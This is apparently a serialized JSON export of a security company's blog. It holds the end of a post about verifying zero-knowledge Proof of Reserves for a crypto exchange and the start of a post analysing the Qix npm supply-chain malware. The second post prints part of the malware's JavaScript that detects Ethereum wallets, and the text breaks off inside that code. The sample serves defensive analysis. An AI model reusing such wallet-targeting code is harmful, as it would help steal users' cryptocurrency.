927,"children":93929},{"className":93928},[1739],[93930],{"type":28,"value":6055},{"type":23,"tag":481,"props":93932,"children":93934},{"className":93933,"style":1734},[1636],[],{"type":23,"tag":481,"props":93936,"children":93938},{"className":93937},[1544],[93939,93943,93948,93953,93958,93963,93968,93973,93978,93983,93988,94045,94050,94054,94059,94064,94121,94126,94130,94135,94140,94144,94149,94154,94216],{"type":23,"tag":481,"props":93940,"children":93942},{"className":93941,"style":1657},[1549],[],{"type":23,"tag":481,"props":93944,"children":93946},{"className":93945,"style":19087},[1555,19086],[93947],{"type":28,"value":19090},{"type":23,"tag":481,"props":93949,"children":93951},{"className":93950},[1555,19086],[93952],{"type":28,"value":90533},{"type":23,"tag":481,"props":93954,"children":93956},{"className":93955},[1555,19086],[93957],{"type":28,"value":1274},{"type":23,"tag":481,"props":93959,"children":93961},{"className":93960},[1555,19086],[93962],{"type":28,"value":68094},{"type":23,"tag":481,"props":93964,"children":93966},{"className":93965},[1555,19086],[93967],{"type":28,"value":90549},{"type":23,"tag":481,"props":93969,"children":93971},{"className":93970},[1555,19086],[93972],{"type":28,"value":53930},{"type":23,"tag":481,"props":93974,"children":93976},{"className":93975},[19215],[93977],{"type":28,"value":618},{"type":23,"tag":481,"props":93979,"children":93981},{"className":93980},[1555,19086],[93982],{"type":28,"value":92047},{"type":23,"tag":481,"props":93984,"children":93986},{"className":93985},[1555,19086],[93987],{"type":28,"value":8137},{"type":23,"tag":481,"props":93989,"children":93991},{"className":93990},[1555],[93992,93997],{"type":23,"tag":481,"props":93993,"children":93995},{"className":93994},[1555,19086],[93996],{"type":28,"value":81877},{"type":23,"tag":481,"props":93998,"children":94000},{"className":93999},[1572],[94001],{"type":23,"tag":481,"props":94002,"children":94004},{"className":94003},[1577,19140],[94005,94034],{"type":23,"tag":481,"props":94006,"children":94008},{"className":94007},[1582],[94009,94029],{"type":23,"tag":481,"props":94010,"children":94012},{"className":94011,"style":90631},[1587],[94013],{"type":23,"tag":481,"props":94014,"children":94015},{"style":90635},[94016,94020],{"type":23,"tag":481,"props":94017,"children":94019},{"className":94018,"style":1597},[1596],[],{"type":23,"tag":481,"props":94021,"children":94023},{"className":94022},[1602,1603,1604,1605],[94024],{"type":23,"tag":481,"props":94025,"children":94027},{"className":94026},[1555,1605],[94028],{"type":28,"value":1568},{"type":23,"tag":481,"props":94030,"children":94032},{"className":94031},[19243],[94033],{"type":28,"value":19246},{"type":23,"tag":481,"props":94035,"children":94037},{"className":94036},[1582],[94038],{"type":23,"tag":481,"props":94039,"children":94041},{"className":94040,"style":90662},[1587],[94042],{"type":23,"tag":481,"props":94043,"children":94044},{},[],{"type":23,"tag":481,"props":94046,"children":94048},{"className":94047},[1668],[94049],{"type":28,"value":1671},{"type":23,"tag":481,"props":94051,"children":94053},{"className":94052,"style":1675},[1636],[],{"type":23,"tag":481,"props":94055,"children":94057},{"className":94056},[1555,19086],[94058],{"type":28,"value":92047},{"type":23,"tag":481,"props":94060,"children":94062},{"className":94061},[1555,19086],[94063],{"type":28,"value":8137},{"type":23,"tag":481,"props":94065,"children":94067},{"className":94066},[1555],[94068,94073],{"type":23,"tag":481,"props":94069,"children":94071},{"className":94070},[1555,19086],[94072],{"type":28,"value":81877},{"type":23,"tag":481,"props":94074,"children":94076},{"className":94075},[1572],[94077],{"type":23,"tag":481,"props":94078,"children":94080},{"className":94079},[1577,19140],[94081,94110],{"type":23,"tag":481,"props":94082,"children":94084},{"className":94083},[1582],[94085,94105],{"type":23,"tag":481,"props":94086,"children":94088},{"className":94087,"style":90631},[1587],[94089],{"type":23,"tag":481,"props":94090,"children":94091},{"style":90635},[94092,94096],{"type":23,"tag":481,"props":94093,"children":94095},{"className":94094,"style":1597},[1596],[],{"type":23,"tag":481,"props":94097,"children":94099},{"className":94098},[1602,1603,1604,1605],[94100],{"type":23,"tag":481,"props":94101,"children":94103},{"className":94102},[1555,1605],[94104],{"type":28,"value":1558},{"type":23,"tag":481,"props":94106,"children":94108},{"className":94107},[19243],[94109],{"type":28,"value":19246},{"type":23,"tag":481,"props":94111,"children":94113},{"className":94112},[1582],[94114],{"type":23,"tag":481,"props":94115,"children":94117},{"className":94116,"style":90662},[1587],[94118],{"type":23,"tag":481,"props":94119,"children":94120},{},[],{"type":23,"tag":481,"props":94122,"children":94124},{"className":94123},[1668],[94125],{"type":28,"value":1671},{"type":23,"tag":481,"props":94127,"children":94129},{"className":94128,"style":1675},[1636],[],{"type":23,"tag":481,"props":94131,"children":94133},{"className":94132},[1555],[94134],{"type":28,"value":7074},{"type":23,"tag":481,"props":94136,"children":94138},{"className":94137},[1668],[94139],{"type":28,"value":1671},{"type":23,"tag":481,"props":94141,"children":94143},{"className":94142,"style":1675},[1636],[],{"type":23,"tag":481,"props":94145,"children":94147},{"className":94146},[1555,19086],[94148],{"type":28,"value":92047},{"type":23,"tag":481,"props":94150,"children":94152},{"className":94151},[1555,19086],[94153],{"type":28,"value":8137},{"type":23,"tag":481,"props":94155,"children":94157},{"className":94156},[1555],[94158,94163],{"type":23,"tag":481,"props":94159,"children":94161},{"className":94160},[1555,19086],[94162],{"type":28,"value":81877},{"type":23,"tag":481,"props":94164,"children":94166},{"className":94165},[1572],[94167],{"type":23,"tag":481,"props":94168,"children":94170},{"className":94169},[1577,19140],[94171,94205],{"type":23,"tag":481,"props":94172,"children":94174},{"className":94173},[1582],[94175,94200],{"type":23,"tag":481,"props":94176,"children":94178},{"className":94177,"style":90631},[1587],[94179],{"type":23,"tag":481,"props":94180,"children":94181},{"style":90635},[94182,94186],{"type":23,"tag":481,"props":94183,"children":94185},{"className":94184,"style":1597},[1596],[],{"type":23,"tag":481,"props":94187,"children":94189},{"className":94188},[1602,1603,1604,1605],[94190],{"type":23,"tag":481,"props":94191,"children":94193},{"className":94192},[1555,1605],[94194],{"type":23,"tag":481,"props":94195,"children":94197},{"className":94196},[1555,1605],[94198],{"type":28,"value":94199},"31",{"type":23,"tag":481,"props":94201,"children":94203},{"className":94202},[19243],[94204],{"type":28,"value":19246},{"type":23,"tag":481,"props":94206,"children":94208},{"className":94207},[1582],[94209],{"type":23,"tag":481,"props":94210,"children":94212},{"className":94211,"style":90662},[1587],[94213],{"type":23,"tag":481,"props":94214,"children":94215},{},[],{"type":23,"tag":481,"props":94217,"children":94219},{"className":94218},[19237],[94220],{"type":28,"value":642},{"type":28,"value":3935},{"type":23,"tag":2875,"props":94223,"children":94224},{},[94225],{"type":28,"value":92367},{"type":23,"tag":77,"props":94227,"children":94228},{},[94229,94234,94235],{"type":23,"tag":127,"props":94230,"children":94231},{},[94232],{"type":28,"value":94233},"checks if each sum is overflowing by checking if the sum of two positive numbers results in a negative one",{"type":28,"value":3935},{"type":23,"tag":2875,"props":94236,"children":94237},{},[94238],{"type":28,"value":92651},{"type":23,"tag":24,"props":94240,"children":94241},{},[94242],{"type":28,"value":94243},"Here is a visual scheme of the inputs of the recursive circuit. Note that this tree only has three levels (L1, L2, L3). Depending on the number of users, it may have more recursive levels:",{"type":23,"tag":24,"props":94245,"children":94246},{},[94247],{"type":23,"tag":149,"props":94248,"children":94250},{"alt":48104,"src":94249},"/posts/por/recursive-circuit.png",[],{"type":23,"tag":31,"props":94252,"children":94254},{"id":94253},"global-proof-and-inclusion-proofs",[94255],{"type":28,"value":94256},"Global Proof and Inclusion Proofs",{"type":23,"tag":7092,"props":94258,"children":94259},{"id":6764},[94260],{"type":28,"value":94261},"Proving",{"type":23,"tag":24,"props":94263,"children":94264},{},[94265,94267,94273,94274,94280,94281,94287],{"type":28,"value":94266},"After proving all batch circuits and all recursive circuits, we have the final proof (which is the ZK proof of the recursive tree root), the entire Merkle tree, and the user nonces. In our code, it is serialized to ",{"type":23,"tag":64,"props":94268,"children":94270},{"className":94269},[],[94271],{"type":28,"value":94272},"merkle_tree.json",{"type":28,"value":588},{"type":23,"tag":64,"props":94275,"children":94277},{"className":94276},[],[94278],{"type":28,"value":94279},"final_proof.json",{"type":28,"value":3965},{"type":23,"tag":64,"props":94282,"children":94284},{"className":94283},[],[94285],{"type":28,"value":94286},"private_nonces.json",{"type":28,"value":94288}," files.",{"type":23,"tag":24,"props":94290,"children":94291},{},[94292],{"type":28,"value":94293},"Using the ZK proof and the Merkle tree, we can already prove the sum of the asset balances and their non-negativity; we refer to this as the \"global proof.\"",{"type":23,"tag":24,"props":94295,"children":94296},{},[94297,94299,94305,94307,94312],{"type":28,"value":94298},"For the user inclusion proofs, we get the Merkle tree, the user asset balances, the identification hash, and the nonce to bundle it in one proof file (",{"type":23,"tag":64,"props":94300,"children":94302},{"className":94301},[],[94303],{"type":28,"value":94304},"inclusion_proof_\u003Cid>.json",{"type":28,"value":94306},"). ",{"type":23,"tag":127,"props":94308,"children":94309},{},[94310],{"type":28,"value":94311},"We bundle only a part of the Merkle tree to the inclusion proof file to make the proof smaller",{"type":28,"value":199},{"type":23,"tag":7092,"props":94314,"children":94316},{"id":94315},"verifying",[94317],{"type":28,"value":94318},"Verifying",{"type":23,"tag":24,"props":94320,"children":94321},{},[94322],{"type":23,"tag":2875,"props":94323,"children":94324},{},[94325],{"type":28,"value":94326},"Global Proof",{"type":23,"tag":24,"props":94328,"children":94329},{},[94330,94332,94337,94338,94343],{"type":28,"value":94331},"To verify the global proof, the code deserializes the ",{"type":23,"tag":64,"props":94333,"children":94335},{"className":94334},[],[94336],{"type":28,"value":94272},{"type":28,"value":35068},{"type":23,"tag":64,"props":94339,"children":94341},{"className":94340},[],[94342],{"type":28,"value":94279},{"type":28,"value":94344}," files and performs these checks:",{"type":23,"tag":73,"props":94346,"children":94347},{},[94348,94353,94358,94363,94389],{"type":23,"tag":77,"props":94349,"children":94350},{},[94351],{"type":28,"value":94352},"Validate if the final proof was generated with a valid and trusted circuit.",{"type":23,"tag":77,"props":94354,"children":94355},{},[94356],{"type":28,"value":94357},"Verify the ZK final proof.",{"type":23,"tag":77,"props":94359,"children":94360},{},[94361],{"type":28,"value":94362},"Verify if asset prices are valid. (It doesn't verify if it matches the real price; you need to do it manually. It only verifies if decimals are valid.)",{"type":23,"tag":77,"props":94364,"children":94365},{},[94366,94368,94374,94376,94381,94382,94387],{"type":28,"value":94367},"Verify if the Merkle tree root hash is the same as the final proof ",{"type":23,"tag":64,"props":94369,"children":94371},{"className":94370},[],[94372],{"type":28,"value":94373},"merkle_tree_hash",{"type":28,"value":94375}," public input. This ensures that the ",{"type":23,"tag":64,"props":94377,"children":94379},{"className":94378},[],[94380],{"type":28,"value":94272},{"type":28,"value":8478},{"type":23,"tag":64,"props":94383,"children":94385},{"className":94384},[],[94386],{"type":28,"value":94279},{"type":28,"value":94388}," are linked (they belong to the same global proof).",{"type":23,"tag":77,"props":94390,"children":94391},{},[94392],{"type":28,"value":94393},"Verify the entire Merkle tree by hashing all the nodes again, starting with the batch circuit, since the verifier won't have the necessary information to hash the leaves again (for privacy). This ensures that the tree was not tampered with.",{"type":23,"tag":24,"props":94395,"children":94396},{},[94397],{"type":23,"tag":2875,"props":94398,"children":94399},{},[94400],{"type":28,"value":94401},"Inclusion Proof",{"type":23,"tag":24,"props":94403,"children":94404},{},[94405,94407,94412,94414,94419],{"type":28,"value":94406},"To verify the inclusion proof, the code deserializes the ",{"type":23,"tag":64,"props":94408,"children":94410},{"className":94409},[],[94411],{"type":28,"value":94304},{"type":28,"value":94413}," file and also the ",{"type":23,"tag":64,"props":94415,"children":94417},{"className":94416},[],[94418],{"type":28,"value":94279},{"type":28,"value":94420},". After that, it performs these checks:",{"type":23,"tag":73,"props":94422,"children":94423},{},[94424,94428,94433,94438],{"type":23,"tag":77,"props":94425,"children":94426},{},[94427],{"type":28,"value":94357},{"type":23,"tag":77,"props":94429,"children":94430},{},[94431],{"type":28,"value":94432},"Verify if the Merkle tree root is the same as in the final proof.",{"type":23,"tag":77,"props":94434,"children":94435},{},[94436],{"type":28,"value":94437},"Recalculate the user-related node leaf hash.",{"type":23,"tag":77,"props":94439,"children":94440},{},[94441],{"type":28,"value":94442},"Verify a partial Merkle tree using the recalculated hash (it doesn't contain all the leaves).",{"type":23,"tag":31,"props":94444,"children":94446},{"id":94445},"por-verifier-server",[94447],{"type":28,"value":94448},"PoR Verifier Server",{"type":23,"tag":24,"props":94450,"children":94451},{},[94452,94454,94460],{"type":28,"value":94453},"To automate the verification process, we created a ",{"type":23,"tag":190,"props":94455,"children":94457},{"href":90090,"rel":94456},[194],[94458],{"type":28,"value":94459},"verifier server",{"type":28,"value":94461}," that the exchange can submit the proofs into. Once submitted, the proof is validated and added to the database.",{"type":23,"tag":24,"props":94463,"children":94464},{},[94465],{"type":28,"value":94466},"Once the proof was added, any user can enter the website and see its information (see backpack's example):",{"type":23,"tag":24,"props":94468,"children":94469},{},[94470],{"type":23,"tag":149,"props":94471,"children":94473},{"alt":48104,"src":94472},"/posts/por/backpack-por.png",[],{"type":23,"tag":24,"props":94475,"children":94476},{},[94477],{"type":28,"value":94478},"Here is a breakdown of what fields represent and why they are required:",{"type":23,"tag":14178,"props":94480,"children":94481},{},[94482,94492,94502,94512,94522,94532],{"type":23,"tag":77,"props":94483,"children":94484},{},[94485,94490],{"type":23,"tag":2875,"props":94486,"children":94487},{},[94488],{"type":28,"value":94489},"Status",{"type":28,"value":94491}," --> verifies if the proof is valid, ensuring that the information has not been tampered with.",{"type":23,"tag":77,"props":94493,"children":94494},{},[94495,94500],{"type":23,"tag":2875,"props":94496,"children":94497},{},[94498],{"type":28,"value":94499},"Proof Timestamp",{"type":28,"value":94501}," --> when the proof was generated by the exchange.",{"type":23,"tag":77,"props":94503,"children":94504},{},[94505,94510],{"type":23,"tag":2875,"props":94506,"children":94507},{},[94508],{"type":28,"value":94509},"Verify Timestamp",{"type":28,"value":94511}," --> when the proof was verified by the PoR server.",{"type":23,"tag":77,"props":94513,"children":94514},{},[94515,94520],{"type":23,"tag":2875,"props":94516,"children":94517},{},[94518],{"type":28,"value":94519},"Proof File URL",{"type":28,"value":94521}," --> the URL where the proof was downloaded from. Users can download it to verify the proof's validity themselves.",{"type":23,"tag":77,"props":94523,"children":94524},{},[94525,94530],{"type":23,"tag":2875,"props":94526,"children":94527},{},[94528],{"type":28,"value":94529},"Prover Version",{"type":28,"value":94531}," --> the version of PoRv2 used. Using different versions for proving/verifying can result in errors due to ZK circuit discrepancies. Therefore, if you are going to verify the validity of the proof yourself, ensure that you download and use the same prover version as the proof.",{"type":23,"tag":77,"props":94533,"children":94534},{},[94535,94540],{"type":23,"tag":2875,"props":94536,"children":94537},{},[94538],{"type":28,"value":94539},"File Hash (SHA256)",{"type":28,"value":94541}," --> since we only store the URL of the proof, it can be maliciously changed after our verification. SHA256 can be used to prove if the file was modified after the verification. If you are going to verify the proof by yourself, check if the downloaded zip file matches the hash shown on the website.",{"type":23,"tag":24,"props":94543,"children":94544},{},[94545],{"type":28,"value":94546},"Also, you can check the exchange's liabilities on the website:",{"type":23,"tag":24,"props":94548,"children":94549},{},[94550],{"type":23,"tag":149,"props":94551,"children":94553},{"alt":48104,"src":94552},"/posts/por/backpack-por-liabilities.png",[],{"type":23,"tag":24,"props":94555,"children":94556},{},[94557,94559,94565,94567,94573],{"type":28,"value":94558},"These are the amount of assets that the exchange should have in their reserves to be solvent on each asset. You can match if they have it by checking their reserve wallets on blockchain. You can see backpack's wallets in ",{"type":23,"tag":190,"props":94560,"children":94563},{"href":94561,"rel":94562},"https://backpack.exchange/reserves",[194],[94564],{"type":28,"value":94561},{"type":28,"value":94566}," and our verifier server for backpack at ",{"type":23,"tag":190,"props":94568,"children":94571},{"href":94569,"rel":94570},"https://backpack-por.osec.io/",[194],[94572],{"type":28,"value":94569},{"type":28,"value":199},{"type":23,"tag":31,"props":94575,"children":94577},{"id":94576},"self-verification",[94578],{"type":28,"value":94579},"Self-verification",{"type":23,"tag":24,"props":94581,"children":94582},{},[94583],{"type":28,"value":94584},"You, as a user, can verify both proofs by yourself, the inclusion proof to verify if you were included in the PoR total liabilities sum and the global proof to verify if the commitments provided by the exchange are valid.",{"type":23,"tag":7092,"props":94586,"children":94588},{"id":94587},"how-to-verify-if-i-was-included",[94589],{"type":28,"value":94590},"How to verify if I was included?",{"type":23,"tag":24,"props":94592,"children":94593},{},[94594],{"type":28,"value":94595},"If you are a user and want to do the self-verification of inclusion, you will need to follow these steps:",{"type":23,"tag":73,"props":94597,"children":94598},{},[94599,94610,94628],{"type":23,"tag":77,"props":94600,"children":94601},{},[94602,94609],{"type":23,"tag":190,"props":94603,"children":94606},{"href":94604,"rel":94605},"https://github.com/otter-sec/por_v2/releases",[194],[94607],{"type":28,"value":94608},"Download the PoRv2 executable from our github",{"type":28,"value":199},{"type":23,"tag":77,"props":94611,"children":94612},{},[94613,94615,94620,94621,94626],{"type":28,"value":94614},"Download the inclusion and the final proof files from the exchange (",{"type":23,"tag":64,"props":94616,"children":94618},{"className":94617},[],[94619],{"type":28,"value":94304},{"type":28,"value":8478},{"type":23,"tag":64,"props":94622,"children":94624},{"className":94623},[],[94625],{"type":28,"value":94279},{"type":28,"value":94627},") and put the files in the same directory as the PoRv2 app.",{"type":23,"tag":77,"props":94629,"children":94630},{},[94631,94633,94639],{"type":28,"value":94632},"Open the terminal and execute this: ",{"type":23,"tag":64,"props":94634,"children":94636},{"className":94635},[],[94637],{"type":28,"value":94638},"./plonky2_por verify-inclusion",{"type":28,"value":199},{"type":23,"tag":24,"props":94641,"children":94642},{},[94643],{"type":28,"value":94644},"This will verify if the proofs are valid and show your asset balances. You will need to verify manually that the balances are correct. Remember that the proofs are not calculated in real-time; you must verify if the balances were correct at the proof generation date. Here is an example of a valid proof being verified:",{"type":23,"tag":435,"props":94646,"children":94648},{"code":94647},"[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Some asset balances was rounded by some decimals, verify if they are close enough to the original balance\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset balances-----\nETH: 0\nBTC: 1.2\nUSDC: 0\n...\n======================\n[!] Verifying global proof (trusting circuit data inside the file)...\n[+] Global proof is valid!\n[!] Verifying inclusion proof...\n[+] Inclusion proof root hash is valid! The user is included in the merkle tree!\n[+] Successfully verified inclusion proof for file: inclusion_proof_00476816e43cf2efffdabdda7f55c5203bc9e28382c551f83931de02fd364a25.json\n\n[+] All inclusion proofs are valid!\n[+] Finished in 13.731875ms!\n",[94649],{"type":23,"tag":64,"props":94650,"children":94651},{"__ignoreMap":7},[94652],{"type":28,"value":94647},{"type":23,"tag":7092,"props":94654,"children":94656},{"id":94655},"how-can-i-verify-the-global-proof",[94657],{"type":28,"value":94658},"How can I verify the global proof?",{"type":23,"tag":24,"props":94660,"children":94661},{},[94662],{"type":28,"value":94663},"If you want to verify if the global proof is valid, you just need to follow these steps:",{"type":23,"tag":73,"props":94665,"children":94666},{},[94667,94676,94694],{"type":23,"tag":77,"props":94668,"children":94669},{},[94670,94675],{"type":23,"tag":190,"props":94671,"children":94673},{"href":94604,"rel":94672},[194],[94674],{"type":28,"value":94608},{"type":28,"value":199},{"type":23,"tag":77,"props":94677,"children":94678},{},[94679,94681,94686,94687,94692],{"type":28,"value":94680},"Download the ",{"type":23,"tag":64,"props":94682,"children":94684},{"className":94683},[],[94685],{"type":28,"value":94272},{"type":28,"value":35068},{"type":23,"tag":64,"props":94688,"children":94690},{"className":94689},[],[94691],{"type":28,"value":94279},{"type":28,"value":94693}," files and put them in the same directory as the PoRv2 app. You can download those files from our PoR verifier server (download the zip file and unzip it).",{"type":23,"tag":77,"props":94695,"children":94696},{},[94697,94699,94704],{"type":28,"value":94698},"Open the terminal and execute ",{"type":23,"tag":64,"props":94700,"children":94702},{"className":94701},[],[94703],{"type":28,"value":94638},{"type":28,"value":94705},". This might take a while to verify since it needs to deserialize a big file and verify the final proof circuit (which involves rebuilding it).",{"type":23,"tag":24,"props":94707,"children":94708},{},[94709],{"type":28,"value":94710},"This will verify the global proof and print the asset prices to be manually verified. Note that the asset prices shown are not real-time; you must match them to the price on the proof generation date and time.",{"type":23,"tag":435,"props":94712,"children":94714},{"code":94713},"[!] Verifying the proof of reserves...\n[!] The following information was used to generate the proof, please manually verify if they are correct:\n[!] NOTE: This is not real-time information, verify if the information is correct relative to the time of the proof generation\n[!] NOTE2: Asset prices was rounded by some decimals, verify if they are close enough to the original price\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset prices-----\nBTC: US$ 95000\nETH: US$ 2402.48\n...\n======================\n",[94715],{"type":23,"tag":64,"props":94716,"children":94717},{"__ignoreMap":7},[94718],{"type":28,"value":94713},{"type":23,"tag":24,"props":94720,"children":94721},{},[94722],{"type":28,"value":94723},"When verification is completed, and all proofs are valid, the system will print the summed balances of each asset. These are the liabilities of the exchange, which you can use to check if they have reserves to cover it.",{"type":23,"tag":435,"props":94725,"children":94727},{"code":94726},"[!] Rebuilding root circuit... This might take several minutes...\n[+] Root circuit rebuilt successfully!\n[!] Verifying final proof...\n[+] Proof is valid!\n[!] Verifying asset prices...\n[+] Asset prices are valid!\n[!] Verifying asset decimals...\n[+] Asset decimals are valid!\n[!] Verifying merkle tree root hash...\n[+] Merkle tree root hash is valid!\n[!] Verifying merkle tree...\n[+] Merkle tree is valid!\n\n[!] The following information is the final needed asset reserves, which was validated by the Zero-Knowledge proof\n[!] NOTE: This is not real-time information, the information is relative to the time of the proof generation\n[!] NOTE2: We cannot guarantee that all users were included in the proof, but you can check if you were included by verifying the inclusion proof\n======================\nProof generation date: 2025-02-22 19:59:59 UTC\nProof generation timestamp (ms): 1740254399944\nNumber of accounted assets: 100\n\n-----Asset reserves-----\nBTC: 1.2\nETH: 5.4\n...\n======================\n\n[+] All proofs are valid!\n[+] Finished in 4.455745214s!\n",[94728],{"type":23,"tag":64,"props":94729,"children":94730},{"__ignoreMap":7},[94731],{"type":28,"value":94726},{"type":23,"tag":31,"props":94733,"children":94734},{"id":26445},[94735],{"type":28,"value":16443},{"type":23,"tag":24,"props":94737,"children":94738},{},[94739],{"type":28,"value":94740},"In conclusion, Proof of Reserves serves as a crucial mechanism for crypto platforms, enabling them to demonstrate solvency and gain user trust in a transparent manner. By employing zero-knowledge proofs, platforms can achieve this transparency without exposing sensitive user data, effectively proving total liabilities and ensuring non-negativity while preserving privacy. Our system further refines this process, boosting efficiency and eliminating the need for manual verification.",{"type":23,"tag":24,"props":94742,"children":94743},{},[94744,94746,94752],{"type":28,"value":94745},"We are currently working with Backpack to implement this algorithm ",{"type":23,"tag":190,"props":94747,"children":94749},{"href":94561,"rel":94748},[194],[94750],{"type":28,"value":94751},"in production",{"type":28,"value":94753}," to generate and verify proofs every 24 hours. This marks a significant advancement toward establishing a real-time Proof of Reserves system, particularly given that it offers increased transparency, which is a step forward in reducing the need for external audit companies, as users will be able to verify everything themselves.",{"type":23,"tag":24,"props":94755,"children":94756},{},[94757,94759,94766],{"type":28,"value":94758},"For more information about how Backpack Exchange implements Proof of Reserves in practice, you can read their detailed article: ",{"type":23,"tag":190,"props":94760,"children":94763},{"href":94761,"rel":94762},"https://learn.backpack.exchange/articles/proof-of-reserves-at-backpack",[194],[94764],{"type":28,"value":94765},"Proof of Reserves at Backpack Exchange: Real Transparency, ZK Verified",{"type":28,"value":199},{"title":7,"searchDepth":351,"depth":351,"links":94768},[94769,94770,94771,94772,94775,94780,94784,94785,94789],{"id":90018,"depth":351,"text":90021},{"id":90099,"depth":351,"text":90102},{"id":90169,"depth":351,"text":90172},{"id":90223,"depth":351,"text":90226,"children":94773},[94774],{"id":90302,"depth":531,"text":90305},{"id":90390,"depth":351,"text":90393,"children":94776},[94777,94778,94779],{"id":90463,"depth":531,"text":90466},{"id":90935,"depth":531,"text":90938},{"id":92674,"depth":531,"text":92677},{"id":94253,"depth":351,"text":94256,"children":94781},[94782,94783],{"id":6764,"depth":531,"text":94261},{"id":94315,"depth":531,"text":94318},{"id":94445,"depth":351,"text":94448},{"id":94576,"depth":351,"text":94579,"children":94786},[94787,94788],{"id":94587,"depth":531,"text":94590},{"id":94655,"depth":531,"text":94658},{"id":26445,"depth":351,"text":16443},"content:blog:2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds.md","blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds",{"_path":94794,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":94795,"description":94796,"date":94797,"author":28715,"image":94798,"isFeatured":15,"onBlogPage":15,"tags":94801,"body":94804,"_type":358,"_id":97230,"_source":360,"_file":97231,"_stem":97232,"_extension":363},"/blog/2025-09-13-how-to-survive-supply-chain-attacks","How to Survive Supply-Chain Attacks","The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.","2025-09-13T12:00:00.000Z",{"src":94799,"width":94800,"height":11111},"/posts/supply-chain-attcks/title.png",1536,[94802,94803],"npm","supply-chain",{"type":20,"children":94805,"toc":97213},[94806,94819,94824,94829,94835,94840,94848,95178,95186,95749,95757,96464,96470,96475,96481,96486,96491,96497,96502,96514,96519,96545,96632,96644,96669,96685,96690,96695,96901,96943,96948,96960,96966,96978,97020,97033,97113,97125,97138,97145,97156,97164,97170,97183,97188,97192,97197,97209],{"type":23,"tag":24,"props":94807,"children":94808},{},[94809,94811,94817],{"type":28,"value":94810},"The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including ",{"type":23,"tag":64,"props":94812,"children":94814},{"className":94813},[],[94815],{"type":28,"value":94816},"chalk",{"type":28,"value":94818},", were published containing sophisticated malware designed to steal cryptocurrency.",{"type":23,"tag":24,"props":94820,"children":94821},{},[94822],{"type":28,"value":94823},"This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.",{"type":23,"tag":24,"props":94825,"children":94826},{},[94827],{"type":28,"value":94828},"In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.",{"type":23,"tag":31,"props":94830,"children":94832},{"id":94831},"qix-malware-how-it-worked",[94833],{"type":28,"value":94834},"Qix Malware: How It Worked",{"type":23,"tag":24,"props":94836,"children":94837},{},[94838],{"type":28,"value":94839},"The attacker published modified versions of packages with code designed to do three things:",{"type":23,"tag":73,"props":94841,"children":94842},{},[94843],{"type":23,"tag":77,"props":94844,"children":94845},{},[94846],{"type":28,"value":94847},"Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.",{"type":23,"tag":435,"props":94849,"children":94851},{"code":94850,"language":28880,"meta":7,"className":28878,"style":7},"async function checkethereumw() {\n try {\n const _0x124ed3 = await window.ethereum.request({\n 'method': \"eth_accounts\"\n });\n if (_0x124ed3.length > 0) {\n runmask();\n if (rund != 1) {\n rund = 1;\n neth = 1;\n newdlocal();\n }\n } else if (rund != 1) {\n rund = 1;\n newdlocal();\n }\n }\n}\n",[94852],{"type":23,"tag":64,"props":94853,"children":94854},{"__ignoreMap":7},[94855,94875,94887,94931,94948,94955,94991,95003,95031,95051,95071,95083,95090,95125,95145,95157,95164,95171],{"type":23,"tag":481,"props":94856,"children":94857},{"class":483,"line":484},[94858,94862,94866,94871],{"type":23,"tag":481,"props":94859,"children":94860},{"style":497},[94861],{"type":28,"value":33663},{"type":23,"tag":481,"props":94863,"children":94864},{"style":497},[94865],{"type":28,"value":35732},{"type":23,"tag":481,"props":94867,"children":94868},{"style":610},[94869],{"type":28,"value":94870}," checkethereumw",{"type":23,"tag":481,"props":94872,"children":94873},{"style":525},[94874],{"type":28,"value":13226},{"type":23,"tag":481,"props":94876,"children":94877},{"class":483,"line":351},[94878,94883],{"type":23,"tag":481,"props":94879,"children":94880},{"style":535},[94881],{"type":28,"value":94882}," try",{"type":23,"tag":481,"props":94884,"children":94885},{"style":525},[94886],{"type":28,"value":809},{"type":23,"tag":481,"props":94888,"children":94889},{"class":483,"line":531},[94890,94894,94899,94903,94907,94911,94915,94919,94923,94927],{"type":23,"tag":481,"props":94891,"children":94892},{"style":497},[94893],{"type":28,"value":49194},{"type":23,"tag":481,"props":94895,"children":94896},{"style":508},[94897],{"type":28,"value":94898}," _0x124ed3",{"type":23,"tag":481,"props":94900,"children":94901},{"style":514},[94902],{"type":28,"value":517},{"type":23,"tag":481,"props":94904,"children":94905},{"style":535},[94906],{"type":28,"value":33729},{"type":23,"tag":481,"props":94908,"children":94909},{"style":508},[94910],{"type":28,"value":28923},{"type":23,"tag":481,"props":94912,"children":94913},{"style":525},[94914],{"type":28,"value":199},{"type":23,"tag":481,"props":94916,"children":94917},{"style":508},[94918],{"type":28,"value":28932},{"type":23,"tag":481,"props":94920,"children":94921},{"style":525},[94922],{"type":28,"value":199},{"type":23,"tag":481,"props":94924,"children":94925},{"style":610},[94926],{"type":28,"value":29008},{"type":23,"tag":481,"props":94928,"children":94929},{"style":525},[94930],{"type":28,"value":12629},{"type":23,"tag":481,"props":94932,"children":94933},{"class":483,"line":567},[94934,94939,94943],{"type":23,"tag":481,"props":94935,"children":94936},{"style":1805},[94937],{"type":28,"value":94938}," 'method'",{"type":23,"tag":481,"props":94940,"children":94941},{"style":508},[94942],{"type":28,"value":287},{"type":23,"tag":481,"props":94944,"children":94945},{"style":1805},[94946],{"type":28,"value":94947}," 